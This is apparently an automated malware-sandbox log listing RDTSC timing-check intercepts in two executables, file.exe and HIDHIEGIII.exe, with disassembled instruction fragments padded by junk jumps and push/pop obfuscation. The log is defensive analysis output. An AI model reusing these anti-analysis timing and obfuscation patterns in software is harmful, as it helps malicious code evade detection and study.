Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF458F second address: CF4593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4593 second address: CF45C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5D59529303h 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1B41 second address: CF1B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1B47 second address: CF1B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1B4D second address: CF1B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1B58 second address: CF1B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1B5C second address: CF1B70 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D59526BB6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F5D59526BB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01810 second address: D0182C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5D59529306h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01532 second address: D01537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01537 second address: D01541 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5D59529302h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01541 second address: D01547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D181B9 second address: D181D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5D595292FCh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F5D595292F8h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D181D6 second address: D181DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1718D second address: D17191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17191 second address: D1719B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1719B second address: D171AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F5D595292FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1742F second address: D17450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F5D59526BB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5D59526BC2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17450 second address: D1745A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B02 second address: D17B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B0C second address: D17B26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B26 second address: D17B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B2C second address: D17B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C650 second address: D1C662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b js 00007F5D59526BB6h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C662 second address: D1C66C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5D595292FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C66C second address: D1C6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 adc edx, 2212D8B2h 0x0000000d mov edx, dword ptr [ebp+122D22F7h] 0x00000013 push dword ptr [ebp+122D30ABh] 0x00000019 call 00007F5D59526BC4h 0x0000001e mov edx, ecx 0x00000020 pop edx 0x00000021 call 00007F5D59526BB9h 0x00000026 jg 00007F5D59526BC2h 0x0000002c push eax 0x0000002d push esi 0x0000002e pushad 0x0000002f push edx 0x00000030 pop edx 0x00000031 jmp 00007F5D59526BC0h 0x00000036 popad 0x00000037 pop esi 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c push edi 0x0000003d js 00007F5D59526BBCh 0x00000043 pop edi 0x00000044 mov eax, dword ptr [eax] 0x00000046 push eax 0x00000047 push edx 0x00000048 jns 00007F5D59526BBCh 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C6EC second address: D1C6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E1E6 second address: D1E1F8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D59526BBAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FDF2 second address: D1FE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59529304h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538029E second address: 53802AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802AC second address: 53802B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53803C0 second address: 53803F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 118C48A2h 0x00000010 mov dh, 4Ch 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F5D59526BC2h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53803F6 second address: 53803FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53803FA second address: 53803FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53803FE second address: 5380404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380496 second address: 53804BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F5D59526BC2h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53804BB second address: 53804BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53804BF second address: 53804C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53804C5 second address: 53804DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59529302h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538063C second address: 5380652 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 3Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov al, byte ptr [edx] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5D59526BBBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380652 second address: 5380652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5D595292FFh 0x00000009 and si, 304Eh 0x0000000e jmp 00007F5D59529309h 0x00000013 popfd 0x00000014 mov bx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a inc edx 0x0000001b pushad 0x0000001c jmp 00007F5D59529308h 0x00000021 mov eax, 756874D1h 0x00000026 popad 0x00000027 test al, al 0x00000029 jmp 00007F5D595292FCh 0x0000002e jne 00007F5D5952927Bh 0x00000034 mov al, byte ptr [edx] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F5D595292FBh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53806F2 second address: 53806F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53806F6 second address: 53806FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53806FC second address: 5380702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380702 second address: 5380758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b jmp 00007F5D59529304h 0x00000010 dec edi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F5D595292FEh 0x00000018 sbb ah, 00000048h 0x0000001b jmp 00007F5D595292FBh 0x00000020 popfd 0x00000021 push esi 0x00000022 push edx 0x00000023 pop eax 0x00000024 pop edx 0x00000025 popad 0x00000026 lea ebx, dword ptr [edi+01h] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F5D595292FDh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380758 second address: 538077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5D59526BBDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538077F second address: 53807EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F5D59529308h 0x0000000c add si, 6D68h 0x00000011 jmp 00007F5D595292FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a inc edi 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f mov eax, ebx 0x00000021 popad 0x00000022 test al, al 0x00000024 pushad 0x00000025 mov bh, 61h 0x00000027 pushfd 0x00000028 jmp 00007F5D59529302h 0x0000002d and cl, FFFFFFF8h 0x00000030 jmp 00007F5D595292FBh 0x00000035 popfd 0x00000036 popad 0x00000037 jne 00007F5DCA3D1593h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807EE second address: 53807F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807F2 second address: 538080D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538080D second address: 5380825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59526BC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380825 second address: 538084F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007F5D59529307h 0x0000000f shr ecx, 02h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538084F second address: 5380853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380853 second address: 538086E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538086E second address: 53808B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F5D59526BBEh 0x00000018 mov ecx, edx 0x0000001a jmp 00007F5D59526BC0h 0x0000001f and ecx, 03h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808B6 second address: 53808BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808BC second address: 538094E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c pushad 0x0000000d mov dh, ch 0x0000000f pushfd 0x00000010 jmp 00007F5D59526BC9h 0x00000015 xor eax, 4F791A86h 0x0000001b jmp 00007F5D59526BC1h 0x00000020 popfd 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F5D59526BC0h 0x00000028 xor ax, 9528h 0x0000002d jmp 00007F5D59526BBBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F5D59526BC5h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538094E second address: 5380A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov bx, 2F1Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, ebx 0x0000000e jmp 00007F5D59529305h 0x00000013 mov ecx, dword ptr [ebp-10h] 0x00000016 pushad 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F5D595292FAh 0x0000001e add ah, 00000018h 0x00000021 jmp 00007F5D595292FBh 0x00000026 popfd 0x00000027 call 00007F5D59529308h 0x0000002c pop ecx 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F5D595292FBh 0x00000034 adc cx, C68Eh 0x00000039 jmp 00007F5D59529309h 0x0000003e popfd 0x0000003f popad 0x00000040 mov dword ptr fs:[00000000h], ecx 0x00000047 jmp 00007F5D595292FEh 0x0000004c pop ecx 0x0000004d pushad 0x0000004e movzx esi, dx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 mov al, dl 0x00000056 popad 0x00000057 popad 0x00000058 pop edi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F5D59529308h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380A14 second address: 5380A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B76 second address: 5380B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B7C second address: 5380B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B80 second address: 5380BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5D595292FAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BA5 second address: 5380BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BB4 second address: 5380BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 55h 0x00000005 jmp 00007F5D59529300h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ecx, 1F9B2A83h 0x00000016 mov eax, 32DBEBDFh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BDB second address: 5380C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5D59526BBDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C04 second address: 5380C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 5E42h 0x00000007 pushfd 0x00000008 jmp 00007F5D59529303h 0x0000000d xor ch, 0000003Eh 0x00000010 jmp 00007F5D59529309h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007F5D595292FEh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5D59529307h 0x00000028 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 7EEF0D second address: 7EEF11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 96273E second address: 962746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 961A40 second address: 961A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F5D59526BC6h 0x0000000d jmp 00007F5D59526BBEh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965C6D second address: 965C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965C71 second address: 965C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965D07 second address: 965D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965D0F second address: 965D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jl 00007F5D59526BB6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 popad 0x00000018 nop 0x00000019 mov dh, 4Ah 0x0000001b push 00000000h 0x0000001d mov di, 8E37h 0x00000021 push BCE641A3h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 ja 00007F5D59526BB6h 0x0000002f rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965D3E second address: 965D49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965D49 second address: 965E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 4319BEDDh 0x0000000d jne 00007F5D59526BB6h 0x00000013 push 00000003h 0x00000015 xor dword ptr [ebp+122D1C93h], ecx 0x0000001b push 00000000h 0x0000001d sbb edx, 2330D3EAh 0x00000023 push 00000003h 0x00000025 jmp 00007F5D59526BC7h 0x0000002a push E3EDB277h 0x0000002f jmp 00007F5D59526BC6h 0x00000034 xor dword ptr [esp], 23EDB277h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F5D59526BB8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov edx, 230A73B0h 0x0000005a lea ebx, dword ptr [ebp+1244AB8Dh] 0x00000060 jmp 00007F5D59526BBCh 0x00000065 jbe 00007F5D59526BB9h 0x0000006b movzx edx, ax 0x0000006e xchg eax, ebx 0x0000006f push edi 0x00000070 push eax 0x00000071 jnc 00007F5D59526BB6h 0x00000077 pop eax 0x00000078 pop edi 0x00000079 push eax 0x0000007a push edi 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F5D59526BBCh 0x00000082 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965E7D second address: 965E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965E84 second address: 965E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965E8E second address: 965EB9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor dh, FFFFFFC1h 0x00000012 push 00000000h 0x00000014 call 00007F5D595292F9h 0x00000019 jns 00007F5D59529302h 0x0000001f jbe 00007F5D595292FCh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965EB9 second address: 965ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F5D59526BBDh 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965ED3 second address: 965ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965ED9 second address: 965EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5D59526BBFh 0x0000000f rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965EF2 second address: 965EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
